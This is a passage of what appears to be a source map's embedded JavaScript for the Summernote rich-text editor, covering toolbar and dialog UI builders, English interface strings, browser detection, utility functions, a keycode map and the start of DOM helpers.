class=\"note-dimension-picker-unhighlighted\"/>',\n '</div>',\n '<div class=\"note-dimension-display\">1 x 1</div>'\n ].join('')\n })\n ], {\n callback: function($node) {\n const $catcher = $node.find('.note-dimension-picker-mousecatcher');\n $catcher.css({\n width: opt.col + 'em',\n height: opt.row + 'em'\n })\n .mousedown(opt.itemClick)\n .mousemove(function(e) {\n tableMoveHandler(e, opt.col, opt.row);\n });\n }\n }).render();\n};\n\nconst palette = renderer.create('<div class=\"note-color-palette\"/>', function($node, options) {\n const contents = [];\n for (let row = 0, rowSize = options.colors.length; row < rowSize; row++) {\n const eventName = options.eventName;\n const colors = options.colors[row];\n const colorsName = options.colorsName[row];\n const buttons = [];\n for (let col = 0, colSize = colors.length; col < colSize; col++) {\n const color = colors[col];\n const colorName = colorsName[col];\n buttons.push([\n '<button type=\"button\" class=\"note-btn note-color-btn\"',\n 'style=\"background-color:', color, '\" ',\n 'data-event=\"', eventName, '\" ',\n 'data-value=\"', color, '\" ',\n 'title=\"', colorName, '\" ',\n 'aria-label=\"', colorName, '\" ',\n 'data-toggle=\"button\" tabindex=\"-1\"></button>'\n ].join(''));\n }\n contents.push('<div class=\"note-color-row\">' + buttons.join('') + '</div>');\n }\n $node.html(contents.join(''));\n\n $node.find('.note-color-btn').each(function() {\n $(this).data('_lite_tooltip', new TooltipUI($(this), {\n container: options.container\n }));\n });\n});\n\nconst colorDropdownButton = function(opt, type) {\n return buttonGroup({\n className: 'note-color',\n children: [\n button({\n className: 'note-current-color-button',\n contents: opt.title,\n tooltip: opt.lang.color.recent,\n click: opt.currentClick,\n callback: function($button) {\n const $recentColor = $button.find('.note-recent-color');\n\n if (type !== 'foreColor') {\n $recentColor.css('background-color', '#FFFF00');\n $button.attr('data-backColor', '#FFFF00');\n }\n }\n }),\n button({\n className: 'dropdown-toggle',\n contents: icon('note-icon-caret'),\n tooltip: opt.lang.color.more,\n data: {\n toggle: 'dropdown'\n }\n }),\n dropdown({\n items: [\n '<div>',\n '<div class=\"note-btn-group btn-background-color\">',\n ' <div class=\"note-palette-title\">' + opt.lang.color.background + '</div>',\n ' <div>',\n '<button type=\"button\" class=\"note-color-reset note-btn note-btn-block\" ' +\n ' data-event=\"backColor\" data-value=\"inherit\">',\n opt.lang.color.transparent,\n ' </button>',\n ' </div>',\n ' <div class=\"note-holder\" data-event=\"backColor\"/>',\n '</div>',\n '<div class=\"note-btn-group btn-foreground-color\">',\n ' <div class=\"note-palette-title\">' + opt.lang.color.foreground + '</div>',\n ' <div>',\n '<button type=\"button\" class=\"note-color-reset note-btn note-btn-block\" ' +\n ' data-event=\"removeFormat\" data-value=\"foreColor\">',\n opt.lang.color.resetToDefault,\n ' </button>',\n ' </div>',\n ' <div class=\"note-holder\" data-event=\"foreColor\"/>',\n '</div>',\n '</div>'\n ].join(''),\n callback: function($dropdown) {\n $dropdown.find('.note-holder').each(function() {\n const $holder = $(this);\n $holder.append(palette({\n colors: opt.colors,\n eventName: $holder.data('event')\n }).render());\n });\n\n if (type === 'fore') {\n $dropdown.find('.btn-background-color').hide();\n $dropdown.css({ 'min-width': '210px' });\n } else if (type === 'back') {\n $dropdown.find('.btn-foreground-color').hide();\n $dropdown.css({ 'min-width': '210px' });\n }\n },\n click: function(event) {\n const $button = $(event.target);\n const eventName = $button.data('event');\n const value = $button.data('value');\n\n if (eventName && value) {\n const key = eventName === 'backColor' ? 'background-color' : 'color';\n const $color = $button.closest('.note-color').find('.note-recent-color');\n const $currentButton = $button.closest('.note-color').find('.note-current-color-button');\n\n $color.css(key, value);\n $currentButton.attr('data-' + eventName, value);\n\n if (type === 'fore') {\n opt.itemClick('foreColor', value);\n } else if (type === 'back') {\n opt.itemClick('backColor', value);\n } else {\n opt.itemClick(eventName, value);\n }\n }\n }\n })\n ]\n }).render();\n};\n\nconst dialog = renderer.create('<div class=\"note-modal\" aria-hidden=\"false\" tabindex=\"-1\" role=\"dialog\"/>', function($node, options) {\n if (options.fade) {\n $node.addClass('fade');\n }\n $node.attr({\n 'aria-label': options.title\n });\n $node.html([\n ' <div class=\"note-modal-content\">',\n (options.title\n ? ' <div class=\"note-modal-header\">' +\n ' <button type=\"button\" class=\"close\" aria-label=\"Close\" aria-hidden=\"true\"><i class=\"note-icon-close\"></i></button>' +\n ' <h4 class=\"note-modal-title\">' + options.title + '</h4>' +\n ' </div>' : ''\n ),\n ' <div class=\"note-modal-body\">' + options.body + '</div>',\n (options.footer\n ? ' <div class=\"note-modal-footer\">' + options.footer + '</div>' : ''\n ),\n ' </div>'\n ].join(''));\n\n $node.data('modal', new ModalUI($node, options));\n});\n\nconst videoDialog = function(opt) {\n const body = '<div class=\"note-form-group\">' +\n '<label class=\"note-form-label\">' +\n opt.lang.video.url + ' <small class=\"text-muted\">' +\n opt.lang.video.providers + '</small>' +\n '</label>' +\n '<input class=\"note-video-url note-input\" type=\"text\" />' +\n '</div>';\n const footer = [\n '<button type=\"button\" href=\"#\" class=\"note-btn note-btn-primary note-video-btn disabled\" disabled>',\n opt.lang.video.insert,\n '</button>'\n ].join('');\n\n return dialog({\n title: opt.lang.video.insert,\n fade: opt.fade,\n body: body,\n footer: footer\n }).render();\n};\n\nconst imageDialog = function(opt) {\n const body = '<div class=\"note-form-group note-group-select-from-files\">' +\n '<label class=\"note-form-label\">' + opt.lang.image.selectFromFiles + '</label>' +\n '<input class=\"note-note-image-input note-input\" type=\"file\" name=\"files\" accept=\"image/*\" multiple=\"multiple\" />' +\n opt.imageLimitation +\n '</div>' +\n '<div class=\"note-form-group\" style=\"overflow:auto;\">' +\n '<label class=\"note-form-label\">' + opt.lang.image.url + '</label>' +\n '<input class=\"note-image-url note-input\" type=\"text\" />' +\n '</div>';\n const footer = [\n '<button href=\"#\" type=\"button\" class=\"note-btn note-btn-primary note-btn-large note-image-btn disabled\" disabled>',\n opt.lang.image.insert,\n '</button>'\n ].join('');\n\n return dialog({\n title: opt.lang.image.insert,\n fade: opt.fade,\n body: body,\n footer: footer\n }).render();\n};\n\nconst linkDialog = function(opt) {\n const body = '<div class=\"note-form-group\">' +\n '<label class=\"note-form-label\">' + opt.lang.link.textToDisplay + '</label>' +\n '<input class=\"note-link-text note-input\" type=\"text\" />' +\n '</div>' +\n '<div class=\"note-form-group\">' +\n '<label class=\"note-form-label\">' + opt.lang.link.url + '</label>' +\n '<input class=\"note-link-url note-input\" type=\"text\" value=\"http://\" />' +\n '</div>' +\n (!opt.disableLinkTarget\n ? '<div class=\"checkbox\">' +\n '<label>' + '<input type=\"checkbox\" checked> ' + opt.lang.link.openInNewWindow + '</label>' +\n '</div>' : ''\n );\n const footer = [\n '<button href=\"#\" type=\"button\" class=\"note-btn note-btn-primary note-link-btn disabled\" disabled>',\n opt.lang.link.insert,\n '</button>'\n ].join('');\n\n return dialog({\n className: 'link-dialog',\n title: opt.lang.link.insert,\n fade: opt.fade,\n body: body,\n footer: footer\n }).render();\n};\n\nconst popover = renderer.create([\n '<div class=\"note-popover bottom\">',\n ' <div class=\"note-popover-arrow\"/>',\n ' <div class=\"note-popover-content note-children-container\"/>',\n '</div>'\n].join(''), function($node, options) {\n const direction = typeof options.direction !== 'undefined' ? options.direction : 'bottom';\n\n $node.addClass(direction).hide();\n\n if (options.hideArrow) {\n $node.find('.note-popover-arrow').hide();\n }\n});\n\nconst checkbox = renderer.create('<div class=\"checkbox\"></div>', function($node, options) {\n $node.html([\n ' <label' + (options.id ? ' for=\"' + options.id + '\"' : '') + '>',\n ' <input role=\"checkbox\" type=\"checkbox\"' + (options.id ? ' id=\"' + options.id + '\"' : ''),\n (options.checked ? ' checked' : ''),\n ' aria-checked=\"' + (options.checked ? 'true' : 'false') + '\"/>',\n (options.text ? options.text : ''),\n '</label>'\n ].join(''));\n});\n\nconst icon = function(iconClassName, tagName) {\n tagName = tagName || 'i';\n return '<' + tagName + ' class=\"' + iconClassName + '\"/>';\n};\n\nconst ui = {\n editor: editor,\n toolbar: toolbar,\n editingArea: editingArea,\n codable: codable,\n editable: editable,\n statusbar: statusbar,\n airEditor: airEditor,\n airEditable: airEditable,\n buttonGroup: buttonGroup,\n button: button,\n dropdown: dropdown,\n dropdownCheck: dropdownCheck,\n dropdownButton: dropdownButton,\n dropdownButtonContents: dropdownButtonContents,\n dropdownCheckButton: dropdownCheckButton,\n paragraphDropdownButton: paragraphDropdownButton,\n tableDropdownButton: tableDropdownButton,\n colorDropdownButton: colorDropdownButton,\n palette: palette,\n dialog: dialog,\n videoDialog: videoDialog,\n imageDialog: imageDialog,\n linkDialog: linkDialog,\n popover: popover,\n checkbox: checkbox,\n icon: icon,\n\n toggleBtn: function($btn, isEnable) {\n $btn.toggleClass('disabled', !isEnable);\n $btn.attr('disabled', !isEnable);\n },\n\n toggleBtnActive: function($btn, isActive) {\n $btn.toggleClass('active', isActive);\n },\n\n check: function($dom, value) {\n $dom.find('.checked').removeClass('checked');\n $dom.find('[data-value=\"' + value + '\"]').addClass('checked');\n },\n\n onDialogShown: function($dialog, handler) {\n $dialog.one('note.modal.show', handler);\n },\n\n onDialogHidden: function($dialog, handler) {\n $dialog.one('note.modal.hide', handler);\n },\n\n showDialog: function($dialog) {\n $dialog.data('modal').show();\n },\n\n hideDialog: function($dialog) {\n $dialog.data('modal').hide();\n },\n\n /**\n * get popover content area\n *\n * @param $popover\n * @returns {*}\n */\n getPopoverContent: function($popover) {\n return $popover.find('.note-popover-content');\n },\n\n /**\n * get dialog's body area\n *\n * @param $dialog\n * @returns {*}\n */\n getDialogBody: function($dialog) {\n return $dialog.find('.note-modal-body');\n },\n\n createLayout: function($note, options) {\n const $editor = (options.airMode ? ui.airEditor([\n ui.editingArea([\n ui.airEditable()\n ])\n ]) : ui.editor([\n ui.toolbar(),\n ui.editingArea([\n ui.codable(),\n ui.editable()\n ]),\n ui.statusbar()\n ])).render();\n\n $editor.insertAfter($note);\n\n return {\n note: $note,\n editor: $editor,\n toolbar: $editor.find('.note-toolbar'),\n editingArea: $editor.find('.note-editing-area'),\n editable: $editor.find('.note-editable'),\n codable: $editor.find('.note-codable'),\n statusbar: $editor.find('.note-statusbar')\n };\n },\n\n removeLayout: function($note, layoutInfo) {\n $note.html(layoutInfo.editable.html());\n layoutInfo.editor.remove();\n $note.off('summernote'); // remove summernote custom event\n $note.show();\n }\n};\n\nexport default ui;\n","import $ from 'jquery';\n\n$.summernote = $.summernote || {\n lang: {}\n};\n\n$.extend($.summernote.lang, {\n 'en-US': {\n font: {\n bold: 'Bold',\n italic: 'Italic',\n underline: 'Underline',\n clear: 'Remove Font Style',\n height: 'Line Height',\n name: 'Font Family',\n strikethrough: 'Strikethrough',\n subscript: 'Subscript',\n superscript: 'Superscript',\n size: 'Font Size'\n },\n image: {\n image: 'Picture',\n insert: 'Insert Image',\n resizeFull: 'Resize Full',\n resizeHalf: 'Resize Half',\n resizeQuarter: 'Resize Quarter',\n floatLeft: 'Float Left',\n floatRight: 'Float Right',\n floatNone: 'Float None',\n shapeRounded: 'Shape: Rounded',\n shapeCircle: 'Shape: Circle',\n shapeThumbnail: 'Shape: Thumbnail',\n shapeNone: 'Shape: None',\n dragImageHere: 'Drag image or text here',\n dropImage: 'Drop image or Text',\n selectFromFiles: 'Select from files',\n maximumFileSize: 'Maximum file size',\n maximumFileSizeError: 'Maximum file size exceeded.',\n url: 'Image URL',\n remove: 'Remove Image',\n original: 'Original'\n },\n video: {\n video: 'Video',\n videoLink: 'Video Link',\n insert: 'Insert Video',\n url: 'Video URL',\n providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)'\n },\n link: {\n link: 'Link',\n insert: 'Insert Link',\n unlink: 'Unlink',\n edit: 'Edit',\n textToDisplay: 'Text to display',\n url: 'To what URL should this link go?',\n openInNewWindow: 'Open in new window'\n },\n table: {\n table: 'Table',\n addRowAbove: 'Add row above',\n addRowBelow: 'Add row below',\n addColLeft: 'Add column left',\n addColRight: 'Add column right',\n delRow: 'Delete row',\n delCol: 'Delete column',\n delTable: 'Delete table'\n },\n hr: {\n insert: 'Insert Horizontal Rule'\n },\n style: {\n style: 'Style',\n p: 'Normal',\n blockquote: 'Quote',\n pre: 'Code',\n h1: 'Header 1',\n h2: 'Header 2',\n h3: 'Header 3',\n h4: 'Header 4',\n h5: 'Header 5',\n h6: 'Header 6'\n },\n lists: {\n unordered: 'Unordered list',\n ordered: 'Ordered list'\n },\n options: {\n help: 'Help',\n fullscreen: 'Full Screen',\n codeview: 'Code View'\n },\n paragraph: {\n paragraph: 'Paragraph',\n outdent: 'Outdent',\n indent: 'Indent',\n left: 'Align left',\n center: 'Align center',\n right: 'Align right',\n justify: 'Justify full'\n },\n color: {\n recent: 'Recent Color',\n more: 'More Color',\n background: 'Background Color',\n foreground: 'Foreground Color',\n transparent: 'Transparent',\n setTransparent: 'Set transparent',\n reset: 'Reset',\n resetToDefault: 'Reset to default'\n },\n shortcut: {\n shortcuts: 'Keyboard shortcuts',\n close: 'Close',\n textFormatting: 'Text formatting',\n action: 'Action',\n paragraphFormatting: 'Paragraph formatting',\n documentStyle: 'Document Style',\n extraKeys: 'Extra keys'\n },\n help: {\n 'insertParagraph': 'Insert Paragraph',\n 'undo': 'Undoes the last command',\n 'redo': 'Redoes the last command',\n 'tab': 'Tab',\n 'untab': 'Untab',\n 'bold': 'Set a bold style',\n 'italic': 'Set a italic style',\n 'underline': 'Set a underline style',\n 'strikethrough': 'Set a strikethrough style',\n 'removeFormat': 'Clean a style',\n 'justifyLeft': 'Set left align',\n 'justifyCenter': 'Set center align',\n 'justifyRight': 'Set right align',\n 'justifyFull': 'Set full align',\n 'insertUnorderedList': 'Toggle unordered list',\n 'insertOrderedList': 'Toggle ordered list',\n 'outdent': 'Outdent on current paragraph',\n 'indent': 'Indent on current paragraph',\n 'formatPara': 'Change current block\\'s format as a paragraph(P tag)',\n 'formatH1': 'Change current block\\'s format as H1',\n 'formatH2': 'Change current block\\'s format as H2',\n 'formatH3': 'Change current block\\'s format as H3',\n 'formatH4': 'Change current block\\'s format as H4',\n 'formatH5': 'Change current block\\'s format as H5',\n 'formatH6': 'Change current block\\'s format as H6',\n 'insertHorizontalRule': 'Insert horizontal rule',\n 'linkDialog.show': 'Show Link Dialog'\n },\n history: {\n undo: 'Undo',\n redo: 'Redo'\n },\n specialChar: {\n specialChar: 'SPECIAL CHARACTERS',\n select: 'Select Special characters'\n }\n }\n});\n","import $ from 'jquery';\nconst isSupportAmd = typeof define === 'function' && define.amd; // eslint-disable-line\n\n/**\n * returns whether font is installed or not.\n *\n * @param {String} fontName\n * @return {Boolean}\n */\nfunction isFontInstalled(fontName) {\n const testFontName = fontName === 'Comic Sans MS' ? 'Courier New' : 'Comic Sans MS';\n const $tester = $('<div>').css({\n position: 'absolute',\n left: '-9999px',\n top: '-9999px',\n fontSize: '200px'\n }).text('mmmmmmmmmwwwwwww').appendTo(document.body);\n\n const originalWidth = $tester.css('fontFamily', testFontName).width();\n const width = $tester.css('fontFamily', fontName + ',' + testFontName).width();\n\n $tester.remove();\n\n return originalWidth !== width;\n}\n\nconst userAgent = navigator.userAgent;\nconst isMSIE = /MSIE|Trident/i.test(userAgent);\nlet browserVersion;\nif (isMSIE) {\n let matches = /MSIE (\\d+[.]\\d+)/.exec(userAgent);\n if (matches) {\n browserVersion = parseFloat(matches[1]);\n }\n matches = /Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(userAgent);\n if (matches) {\n browserVersion = parseFloat(matches[1]);\n }\n}\n\nconst isEdge = /Edge\\/\\d+/.test(userAgent);\n\nlet hasCodeMirror = !!window.CodeMirror;\nif (!hasCodeMirror && isSupportAmd) {\n // Webpack\n if (typeof __webpack_require__ === 'function') { // eslint-disable-line\n try {\n // If CodeMirror can't be resolved, `require.resolve` will throw an\n // exception and `hasCodeMirror` won't be set to `true`.\n require.resolve('codemirror');\n hasCodeMirror = true;\n } catch (e) {\n // do nothing\n }\n } else if (typeof require !== 'undefined') {\n // Browserify\n if (typeof require.resolve !== 'undefined') {\n try {\n // If CodeMirror can't be resolved, `require.resolve` will throw an\n // exception and `hasCodeMirror` won't be set to `true`.\n require.resolve('codemirror');\n hasCodeMirror = true;\n } catch (e) {\n // do nothing\n }\n // Almond/Require\n } else if (typeof require.specified !== 'undefined') {\n hasCodeMirror = require.specified('codemirror');\n }\n }\n}\n\nconst isSupportTouch =\n (('ontouchstart' in window) ||\n (navigator.MaxTouchPoints > 0) ||\n (navigator.msMaxTouchPoints > 0));\n\n// [workaround] IE doesn't have input events for contentEditable\n// - see: https://goo.gl/4bfIvA\nconst inputEventName = (isMSIE || isEdge) ? 'DOMCharacterDataModified DOMSubtreeModified DOMNodeInserted' : 'input';\n\n/**\n * @class core.env\n *\n * Object which check platform and agent\n *\n * @singleton\n * @alternateClassName env\n */\nexport default {\n isMac: navigator.appVersion.indexOf('Mac') > -1,\n isMSIE,\n isEdge,\n isFF: !isEdge && /firefox/i.test(userAgent),\n isPhantom: /PhantomJS/i.test(userAgent),\n isWebkit: !isEdge && /webkit/i.test(userAgent),\n isChrome: !isEdge && /chrome/i.test(userAgent),\n isSafari: !isEdge && /safari/i.test(userAgent),\n browserVersion,\n jqueryVersion: parseFloat($.fn.jquery),\n isSupportAmd,\n isSupportTouch,\n hasCodeMirror,\n isFontInstalled,\n isW3CRangeSupport: !!document.createRange,\n inputEventName\n};\n","/**\n * @class core.func\n *\n * func utils (for high-order func's arg)\n *\n * @singleton\n * @alternateClassName func\n */\nfunction eq(itemA) {\n return function(itemB) {\n return itemA === itemB;\n };\n}\n\nfunction eq2(itemA, itemB) {\n return itemA === itemB;\n}\n\nfunction peq2(propName) {\n return function(itemA, itemB) {\n return itemA[propName] === itemB[propName];\n };\n}\n\nfunction ok() {\n return true;\n}\n\nfunction fail() {\n return false;\n}\n\nfunction not(f) {\n return () => {\n return !f.apply(f, arguments);\n };\n}\n\nfunction and(fA, fB) {\n return function(item) {\n return fA(item) && fB(item);\n };\n}\n\nfunction self(a) {\n return a;\n}\n\nfunction invoke(obj, method) {\n return () => {\n return obj[method].apply(obj, arguments);\n };\n}\n\nlet idCounter = 0;\n\n/**\n * generate a globally-unique id\n *\n * @param {String} [prefix]\n */\nfunction uniqueId(prefix) {\n const id = ++idCounter + '';\n return prefix ? prefix + id : id;\n}\n\n/**\n * returns bnd (bounds) from rect\n *\n * - IE Compatibility Issue: http://goo.gl/sRLOAo\n * - Scroll Issue: http://goo.gl/sNjUc\n *\n * @param {Rect} rect\n * @return {Object} bounds\n * @return {Number} bounds.top\n * @return {Number} bounds.left\n * @return {Number} bounds.width\n * @return {Number} bounds.height\n */\nfunction rect2bnd(rect) {\n const $document = $(document);\n return {\n top: rect.top + $document.scrollTop(),\n left: rect.left + $document.scrollLeft(),\n width: rect.right - rect.left,\n height: rect.bottom - rect.top\n };\n}\n\n/**\n * returns a copy of the object where the keys have become the values and the values the keys.\n * @param {Object} obj\n * @return {Object}\n */\nfunction invertObject(obj) {\n const inverted = {};\n for (const key in obj) {\n if (obj.hasOwnProperty(key)) {\n inverted[obj[key]] = key;\n }\n }\n return inverted;\n}\n\n/**\n * @param {String} namespace\n * @param {String} [prefix]\n * @return {String}\n */\nfunction namespaceToCamel(namespace, prefix) {\n prefix = prefix || '';\n return prefix + namespace.split('.').map(function(name) {\n return name.substring(0, 1).toUpperCase() + name.substring(1);\n }).join('');\n}\n\n/**\n * Returns a function, that, as long as it continues to be invoked, will not\n * be triggered. The function will be called after it stops being called for\n * N milliseconds. If `immediate` is passed, trigger the function on the\n * leading edge, instead of the trailing.\n * @param {Function} func\n * @param {Number} wait\n * @param {Boolean} immediate\n * @return {Function}\n */\nfunction debounce(func, wait, immediate) {\n let timeout;\n return () => {\n const context = this;\n const args = arguments;\n const later = () => {\n timeout = null;\n if (!immediate) {\n func.apply(context, args);\n }\n };\n const callNow = immediate && !timeout;\n clearTimeout(timeout);\n timeout = setTimeout(later, wait);\n if (callNow) {\n func.apply(context, args);\n }\n };\n}\n\nexport default {\n eq,\n eq2,\n peq2,\n ok,\n fail,\n self,\n not,\n and,\n invoke,\n uniqueId,\n rect2bnd,\n invertObject,\n namespaceToCamel,\n debounce\n};\n","import $ from 'jquery';\nimport func from './func';\n\n/**\n * returns the first item of an array.\n *\n * @param {Array} array\n */\nfunction head(array) {\n return array[0];\n}\n\n/**\n * returns the last item of an array.\n *\n * @param {Array} array\n */\nfunction last(array) {\n return array[array.length - 1];\n}\n\n/**\n * returns everything but the last entry of the array.\n *\n * @param {Array} array\n */\nfunction initial(array) {\n return array.slice(0, array.length - 1);\n}\n\n/**\n * returns the rest of the items in an array.\n *\n * @param {Array} array\n */\nfunction tail(array) {\n return array.slice(1);\n}\n\n/**\n * returns item of array\n */\nfunction find(array, pred) {\n for (let idx = 0, len = array.length; idx < len; idx++) {\n const item = array[idx];\n if (pred(item)) {\n return item;\n }\n }\n}\n\n/**\n * returns true if all of the values in the array pass the predicate truth test.\n */\nfunction all(array, pred) {\n for (let idx = 0, len = array.length; idx < len; idx++) {\n if (!pred(array[idx])) {\n return false;\n }\n }\n return true;\n}\n\n/**\n * returns index of item\n */\nfunction indexOf(array, item) {\n return $.inArray(item, array);\n}\n\n/**\n * returns true if the value is present in the list.\n */\nfunction contains(array, item) {\n return indexOf(array, item) !== -1;\n}\n\n/**\n * get sum from a list\n *\n * @param {Array} array - array\n * @param {Function} fn - iterator\n */\nfunction sum(array, fn) {\n fn = fn || func.self;\n return array.reduce(function(memo, v) {\n return memo + fn(v);\n }, 0);\n}\n\n/**\n * returns a copy of the collection with array type.\n * @param {Collection} collection - collection eg) node.childNodes, ...\n */\nfunction from(collection) {\n const result = [];\n const length = collection.length;\n let idx = -1;\n while (++idx < length) {\n result[idx] = collection[idx];\n }\n return result;\n}\n\n/**\n * returns whether list is empty or not\n */\nfunction isEmpty(array) {\n return !array || !array.length;\n}\n\n/**\n * cluster elements by predicate function.\n *\n * @param {Array} array - array\n * @param {Function} fn - predicate function for cluster rule\n * @param {Array[]}\n */\nfunction clusterBy(array, fn) {\n if (!array.length) { return []; }\n const aTail = tail(array);\n return aTail.reduce(function(memo, v) {\n const aLast = last(memo);\n if (fn(last(aLast), v)) {\n aLast[aLast.length] = v;\n } else {\n memo[memo.length] = [v];\n }\n return memo;\n }, [[head(array)]]);\n}\n\n/**\n * returns a copy of the array with all false values removed\n *\n * @param {Array} array - array\n * @param {Function} fn - predicate function for cluster rule\n */\nfunction compact(array) {\n const aResult = [];\n for (let idx = 0, len = array.length; idx < len; idx++) {\n if (array[idx]) { aResult.push(array[idx]); }\n }\n return aResult;\n}\n\n/**\n * produces a duplicate-free version of the array\n *\n * @param {Array} array\n */\nfunction unique(array) {\n const results = [];\n\n for (let idx = 0, len = array.length; idx < len; idx++) {\n if (!contains(results, array[idx])) {\n results.push(array[idx]);\n }\n }\n\n return results;\n}\n\n/**\n * returns next item.\n * @param {Array} array\n */\nfunction next(array, item) {\n const idx = indexOf(array, item);\n if (idx === -1) { return null; }\n\n return array[idx + 1];\n}\n\n/**\n * returns prev item.\n * @param {Array} array\n */\nfunction prev(array, item) {\n const idx = indexOf(array, item);\n if (idx === -1) { return null; }\n\n return array[idx - 1];\n}\n\n/**\n * @class core.list\n *\n * list utils\n *\n * @singleton\n * @alternateClassName list\n */\nexport default {\n head,\n last,\n initial,\n tail,\n prev,\n next,\n find,\n contains,\n all,\n sum,\n from,\n isEmpty,\n clusterBy,\n compact,\n unique\n};\n","import lists from './lists';\nimport func from './func';\n\nconst KEY_MAP = {\n 'BACKSPACE': 8,\n 'TAB': 9,\n 'ENTER': 13,\n 'SPACE': 32,\n 'DELETE': 46,\n\n // Arrow\n 'LEFT': 37,\n 'UP': 38,\n 'RIGHT': 39,\n 'DOWN': 40,\n\n // Number: 0-9\n 'NUM0': 48,\n 'NUM1': 49,\n 'NUM2': 50,\n 'NUM3': 51,\n 'NUM4': 52,\n 'NUM5': 53,\n 'NUM6': 54,\n 'NUM7': 55,\n 'NUM8': 56,\n\n // Alphabet: a-z\n 'B': 66,\n 'E': 69,\n 'I': 73,\n 'J': 74,\n 'K': 75,\n 'L': 76,\n 'R': 82,\n 'S': 83,\n 'U': 85,\n 'V': 86,\n 'Y': 89,\n 'Z': 90,\n\n 'SLASH': 191,\n 'LEFTBRACKET': 219,\n 'BACKSLASH': 220,\n 'RIGHTBRACKET': 221\n};\n\n/**\n * @class core.key\n *\n * Object for keycodes.\n *\n * @singleton\n * @alternateClassName key\n */\nexport default {\n /**\n * @method isEdit\n *\n * @param {Number} keyCode\n * @return {Boolean}\n */\n isEdit: (keyCode) => {\n return lists.contains([\n KEY_MAP.BACKSPACE,\n KEY_MAP.TAB,\n KEY_MAP.ENTER,\n KEY_MAP.SPACE,\n KEY_MAP.DELETE\n ], keyCode);\n },\n /**\n * @method isMove\n *\n * @param {Number} keyCode\n * @return {Boolean}\n */\n isMove: (keyCode) => {\n return lists.contains([\n KEY_MAP.LEFT,\n KEY_MAP.UP,\n KEY_MAP.RIGHT,\n KEY_MAP.DOWN\n ], keyCode);\n },\n /**\n * @property {Object} nameFromCode\n * @property {String} nameFromCode.8 \"BACKSPACE\"\n */\n nameFromCode: func.invertObject(KEY_MAP),\n code: KEY_MAP\n};\n","import $ from 'jquery';\nimport func from './func';\nimport lists from './lists';\nimport env from './env';\n\nconst NBSP_CHAR = String.fromCharCode(160);\nconst ZERO_WIDTH_NBSP_CHAR = '\\ufeff';\n\n/**\n * @method isEditable\n *\n * returns whether node is `note-editable` or not.\n *\n * @param {Node} node\n * @return {Boolean}\n */\nfunction isEditable(node) {\n return node && $(node).hasClass('note-editable');\n}\n\n/**\n * @method isControlSizing\n *\n * returns whether node is `note-control-sizing` or not.\n *\n * @param {Node} node\n * @return {Boolean}\n */\nfunction isControlSizing(node) {\n return node && $(node).hasClass('note-control-sizing');\n}\n\n/**\n * @method makePredByNodeName\n *\n * returns predicate which judge whether nodeName is same\n *\n * @param {String} nodeName\n * @return {Function}\n */\nfunction makePredByNodeName(nodeName) {\n nodeName = nodeName.toUpperCase();\n return function(node) {\n return node && node.nodeName.toUpperCase() === nodeName;\n };\n}\n\n/**\n * @method isText\n *\n *\n *\n * @param {Node} node\n * @return {Boolean} true if node's type is text(3)\n */\nfunction isText(node) {\n return node && node.nodeType === 3;\n}\n\n/**\n * @method isElement\n *\n *\n *\n * @param {Node} node\n * @return {Boolean} true if node's type is element(1)\n */\nfunction isElement(node) {\n return node && node.nodeType === 1;\n}\n\n/**\n * ex) br, col, embed, hr, img, input, ...\n * @see http://www.w3.org/html/wg/drafts/html/master/syntax.html#void-elements\n */\nfunction isVoid(node) {\n return node && /^BR|^IMG|^HR|^IFRAME|^BUTTON|^INPUT/.test(node.nodeName.toUpperCase());\n}\n\nfunction isPara(node) {\n if (isEditable(node)) {\n return false;\n }\n\n // Chrome(v31.0), FF(v25.0.1) use DIV for paragraph\n return node && /^DIV|^P|^LI|^H[1-7]/.test(node.nodeName.toUpperCase());\n}\n\nfunction isHeading(node) {\n return node && /^H[1-7]/.test(node.nodeName.toUpperCase());\n}\n\nconst isPre = makePredByNodeName('PRE');\n\nconst isLi = makePredByNodeName('LI');\n\nfunction isPurePara(node) {\n return isPara(node) && !isLi(node);\n}\n\nconst isTable = makePredByNodeName('TABLE');\n\nconst isData = makePredByNodeName('DATA');\n\nfunction isInline(node) {\n return !isBodyContainer(node) &&\n !isList(node) &&\n !isHr(node) &&\n !isPara(node) &&\n !isTable(node) &&\n !isBlockquote(node) &&\n !isData(node);\n}\n\nfunction isList(node) {\n return node && /^UL|^OL/.test(node.nodeName.toUpperCase());\n}\n\nconst isHr = makePredByNodeName('HR');\n\nfunction isCell(node) {\n return node && /^TD|^TH/.test(node.nodeName.toUpperCase());\n}\n\nconst isBlockquote = makePredByNodeName('BLOCKQUOTE');\n\nfunction isBodyContainer(node) {\n return isCell(node) || isBlockquote(node) || isEditable(node);\n}\n\nconst isAnchor = makePredByNodeName('A');\n\nfunction isParaInline(node) {\n return isInline(node) && !!ancestor(node, isPara);\n}\n\nfunction isBodyInline(node) {\n return isInline(node) && !ancestor(node, isPara);\n}\n\nconst isBody = makePredByNodeName('BODY');\n\n/**\n * returns whether nodeB is closest sibling of nodeA\n *\n * @param {Node} nodeA\n * @param {Node} nodeB\n * @return {Boolean}\n */\nfunction isClosestSibling(nodeA, nodeB) {\n return nodeA.nextSibling === nodeB ||\n nodeA.previousSibling === nodeB;\n}\n\n/**\n * returns array of closest siblings with node\n *\n * @param {Node} node\n * @param {function} [pred] - predicate function\n * @return {Node[]}\n */\nfunction withClosestSiblings(node, pred) {\n pred = pred || func.ok;\n\n const siblings = [];\n if (node.previousSibling && pred(node.previousSibling)) {\n siblings.push(node.previousSibling);\n }\n siblings.push(node);\n if (node.nextSibling && pred(node.nextSibling)) {\n siblings.push(node.nextSibling);\n }\n return siblings;\n}\n\n/**\n * blank HTML for cursor position\n * - [workaround] old IE only works with \n * - [workaround] IE11 and other browser works with bogus br\n */\nconst blankHTML = env.isMSIE && env.browserVersion < 11 ? ' ' : '<br>';\n\n/**\n * @method nodeLength\n *\n * returns #text's text size or element's childNodes size\n *\n * @param {Node} node\n */\nfunction nodeLength(node) {\n if (isText(node)) {\n return node.nodeValue.length;\n }\n\n if (node) {\n return node.childNodes.length;\n }\n\n return 0;\n}\n\n/**\n * returns whether node is empty or not.\n *\n * @param {Node} node\n * @return {Boolean}\n */\nfunction isEmpty(node) {\n const len = nodeLength(node);\n\n if (len === 0) {\n return true;\n } else if (!isText(node) && len === 1 && node.innerHTML === blankHTML) {\n // ex) <p><br></p>, <span><br></span>\n return true;\n } else if (lists.all(node.childNodes, isText) && node.innerHTML === '') {\n // ex) <p></p>, <span></span>\n return true;\n 